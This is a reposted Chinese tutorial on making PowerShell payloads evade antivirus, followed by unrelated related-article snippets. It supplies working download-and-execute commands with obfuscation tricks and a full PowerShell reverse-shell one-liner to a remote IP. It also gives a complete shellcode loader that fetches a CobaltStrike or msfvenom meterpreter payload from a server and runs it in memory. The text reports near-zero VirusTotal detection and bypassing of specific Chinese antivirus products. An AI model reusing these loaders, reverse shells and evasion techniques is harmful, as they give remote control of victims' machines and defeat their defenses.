转载https://www.jianshu.com/p/fb078a99e0d8

前言

文章首发于Freebuf

在之前发布的一篇 渗透技巧之Powershell实战思路 中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell 更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。

绕过执行策略

powershell 可以通过绕过执行策略来执行恶意程序。

而从文件是否落地可以简单分为落地的bypass、不落地的bypass。

以落地为例

  1. powershell -ExecutionPolicy bypass -File a.ps1

以不落地为例,如我们熟知的IEX

  1. powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

从免杀上来说,查杀比较严格的当然是不落地文件的这种方式。

我们可以将两种方式混用来实现简单的bypass

如:

  1. echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -

如:

  1. powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"

简单混淆

powershell混淆姿势有很多,如字符串转换、变量转换、编码、压缩等等。根据powershell语言的特性来混淆代码,从而绕过Anti-Virus。

处理powershell

利用cmd的混淆以不同的姿势调用powershell

如利用win10环境变量截取出powershell

  1. %psmodulepath:~24,10%

处理IEX

为IEX设置别名

  1. powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

处理downloadstring

使用转义符

  1. "Down`l`oadString"

处理http

以变量的方式拆分http

  1. powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"

以中文单引号分割

  1. ht‘+’tp

基于以上混淆基础,就可以实现多种bypass的姿势

如:

  1. cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"

如:

  1. echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

如:

  1. chcp 1200 & powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"

这里再分享一个小技巧:

在测试对抗某些杀毒软件时,发现对cmd下操作查杀比较严格,相对来说powershell环境下更容易bypass。

而实际中可能更多的默认为cmd。我们可以先用socket一句话反弹powershell环境,再执行后续操作。

客户端执行命令:

  1. powershell -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

服务端nc监听即可:

  1. nc -lvp 9090

以此来迂回得达到我们的目的。

分析CobaltStrike powershell command

这里使用CobaltStrike 4.1来生成payload

 

访问83端口的a文件,获取payload代码。

查看代码,可以看到先使用base64解码一段字符串,又通过IO.Compression.GzipStream解压缩,并将代码进行IEX执行。

  1. $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

修改IEX为echo,保存为aaaa.ps1文件,运行得到源码。

  1. powershell -ExecutionPolicy bypass -File aaaaa.ps1 >> old.txt
 

可以看出大概分为func_get_delegate_typefunc_get_proc_address两个函数,然后是一个base64解码的函数,且将byte数组进行了xor的异或操作。然后分配一些内存,将有效负载复制到分配的内存空间中。最后判断计算机架构并执行。

那么关键位置就应该是这串base编码的数据了。事实上,这段数据是bin文件编码得来的。

我们将该byte数组保存为new.bin文件。

  1. $enc=[System.Convert]::FromBase64String('base64编码字符串')
  2. for ($x = 0; $x -lt $enc.Count; $x++) {
  3. $enc[$x] = $enc[$x] -bxor 35
  4. }
  5. $infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

而后修改为读取new.bin文件内容到内存后再上线。

  1. [Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

其余代码未修改。

 

执行后可正常上线。

放入VT查杀一下11/59

 

这时候我们就得到了powershell版的一个加载器,继续尝试修改该加载器本身的一些特征。

  • func_get_delegate_typefunc_get_proc_address两个函数重命名替换,对函数里面的一些变量进行重新定义
  • 重命名$DoIt$aaaa
  • 修改IEX为I`EX
  • 修改Invoke为Inv'+'oke
  • 替换$var_code$acode

放入VT再次查杀2/58

 

powershell加载器

上面的脚本通过读取new.bin中的字节数组并在内存执行从而成功使cobalt strike上线。

那同样可以从远程文件读取shellcode,并加载到内存执行,来实现payload无落地。

加载器代码如下:

  1. Set-StrictMode -Version 2
  2. function func_get_delegate_type_new {
  3. Param (
  4. [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  5. [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  6. )
  7. $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  8. $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  9. $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  10. return $var_type_builder.CreateType()
  11. }
  12. function func_get_proc_address_new {
  13. Param ($var_module, $var_procedure)
  14. $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
  15. $var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  16. $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
  17. return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  18. }
  19. If ([IntPtr]::size -eq 8) {
  20. [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
  21. $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
  22. $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
  23. [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
  24. $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
  25. $var_runme.Invoke([IntPtr]::Zero)
  26. }

CobaltStrike生成payload.bin文件时,注意勾选x64。

 

将该payload.bin文件放置在远程服务器上,powershell执行bypass操作。

  1. powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin

CobaltStrike正常上线。

 

metasploit 也是同样的道理。使用msfvenom生成raw文件,看看加载器是否通用。

生成raw木马

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin

powershell直接利用加载器加载该bin文件。

  1. powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bin

metasploit 也可以正常上线。

 

powershell转exe

在修改了加载器之后,我们还可以通过powershell代码将其加载器转换为exe程序。

借助Win-PS2EXE项目,通过ps2exe.ps1脚本将加载器转为exe文件。更方便实战中使用。

  1. powershell.exe -ExecutionPolicy bypass -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'" -runtime40 -noConsole

-runtime20 指定powershell2.0/3.0版本,-runtime40 指定powershell4.0版本,-noConsole 隐藏窗口执行

 

查杀率5/70

 

测试可在powershell任意环境下运行,且过360、火绒。

 

总结

  1. 利用cmd、powershell语法混淆实现了bypass;
  2. 简单分析CobaltStrike powershell payload 获得powershell版本的shellcode加载器;
  3. 利用Win-PS2EXE 项目转换为exe更方便实际利用。

参考资料

https://evi1.cn/post/powershell-bypass-2/

https://rootrain.me/2020/02/29/%E5%86%85%E7%BD%91%E9%98%B2%E5%BE%A1%E8%A7%84%E9%81%BF(%E4%BA%8C)-%E5%91%BD%E4%BB%A4%E8%A1%8C%E6%B7%B7%E6%B7%86/#0x04-%E5%9E%83%E5%9C%BE%E5%88%86%E9%9A%94%E7%AC%A6

https://www.anquanke.com/post/id/86637

Powershell免杀从入门到实践的更多相关文章

  1. Aggressor Script 开发-Powershell 免杀

    转载https://www.jianshu.com/p/f158a9d6bdcf 前言 在接触到Cobalt Strike的时候就知道有各种插件,想象着那天也可以自己学习编写一个.在之前分析Cobal ...

  2. Powershell免杀

    Powershell免杀 0x01 前言 前几天搞一个站的时候,进入内网,想让内网一台机子powershell上线.然后被杀软拦截了,极其的不讲武德,想着找我极强的朋友们白嫖个免杀的方法. 后面还是没 ...

  3. 2018-2019-2 网络对抗技术 20162329 Exp3 免杀原理与实践

    目录 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 2.免杀是做什么? 3.免杀的基本方法有哪些? 二.实验内容 1. 正确使用msf编码器 2. msfvenom生成如jar之 ...

  4. 20155219付颖卓 Exp3 免杀原理与实践

    1.基础问题回答 (1)杀软是如何检测出恶意代码的? 杀毒软件有一个病毒的特征码库,通过识别恶意代码的特征码或者特征片段检测恶意代码 杀毒软件通过动态检测对象文件的行为来识别恶意代码,如果他的行为在一 ...

  5. Exp3 免杀原理与实践_05齐帅

    Exp3 免杀原理与实践 20154305_齐帅 想要弄懂免杀,一定得先把基础问题弄明白啊~~ 一.基础问题回答 (1)杀软是如何检测出恶意代码的? - -检测特征码: 依靠分析总结出计算机病毒中常出 ...

  6. 2017-2018 Exp3 MAL_免杀原理与实践 20155214

    目录 Exp3 MAL_免杀原理与实践 实验内容 对msf生成后门程序的检测 Veil-Evasion应用 Visual Studio2017 + shellcode生成后门 主要思路 知识点 最后的 ...

  7. 20155339 Exp3 免杀原理与实践

    20155339 Exp3 免杀原理与实践 基础问题 (1)杀软是如何检测出恶意代码的? 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代 ...

  8. 20144306《网络对抗》MAL_免杀原理与实践

    一.基础问题回答 1.杀软是如何检测出恶意代码的? (1)特征码:类似于人的生物特征,恶意代码可能会包含一段或多端数据能代表其特征.杀软一般会对文件内容进行静态扫描,将文件内容与特征库进行匹配,来检测 ...

  9. 20165207 Exp3 免杀原理与实践

    Exp3 免杀原理与实践 1.实验内容 1.1.使用msf 1.1.1. 确定基准线 首先看kali的ip 直接msfvenom的结果,不加其他的东西: 使用VirusTotal得到的检测这个程序得到 ...

随机推荐

  1. 工业互联网之微信小程序整体解决方案总结

    随着工业互联网的快速发展,以及微信小程序的成熟,将两者结合实现对工况数据的查看和存储方案变得简单.以下方式为本人尝试过的整体解决方案,可以顺利实现无缝对接. 1.采集方式 1.ifix/intouch ...

  2. noip模拟32[好数学啊]

    noip模拟32 solutions 真是无语子,又没上100,无奈死了 虽然我每次都觉得题很难,但是还是有好多上100的 战神都200多了,好生气啊啊啊 从题开始变难之后,我的时间分配越来越不均匀, ...

  3. ERROR: database "db" is being accessed by other users

    执行DROP DATABASE testdb;的时候提示: ERROR: database "testdb" is being accessed by other users DE ...

  4. JavaEE在线就业班2.0-(1)-《博学谷》

    JavaEE在线就业班2.0学习笔记 1. Java概述 1.1 Java语言背景介绍(了解) 语言:人与人交流沟通的表达方式计算机语言:人与计算机之间进行信息交流沟通的一种特殊语言Java语言是美国 ...

  5. Java注解如何对属性动态赋值

    学而不思则罔,思而不学则殆 前言 大家都用过Spring的@Value("xxx")注解,如果没有debug过源码的同学对这个操作还是一知半解,工作一年了学了反射学了注解,还是不会 ...

  6. netty系列之:文本聊天室

    目录 简介 聊天室的工作流程 文本处理器 初始化ChannelHandler 真正的消息处理逻辑 总结 简介 经过之前的系列文章,我们已经知道了netty的运行原理,还介绍了基本的netty服务搭建流 ...

  7. 去除Windows-XP系统下的关机功能

    by han 去除Windows-XP系统下的关机功能 一.去除"开始菜单"中"关机"功能 1.点击左下角"开始",然后"运行&q ...

  8. OpenStack虚拟网络与物理网络的衔接(flat方式)

    by 无若 这边以CentOS7+Liberty版本为例. 过去一段时间(Juno版本之前版本),OpenStack内的虚拟网络与真正的物理网络衔接主要使用openvswitch,其主要问题是在配置网 ...

  9. OceanBase三节点部署&&扩容

    OceanBase三节点部署&&扩容 环境信息搭建三节点(1-1-1)创建资源池和租户查看数据分布 环境信息 IP OB目录 端口 192.168.43.89 /data/observ ...

  10. Share Keyboard, Mouse and Clipboard between Multiple Computers

    Synergy version: 1.4.12 Server Download and install synergy-1.4.12-Linux-i686.deb on Mint 14; Run it ...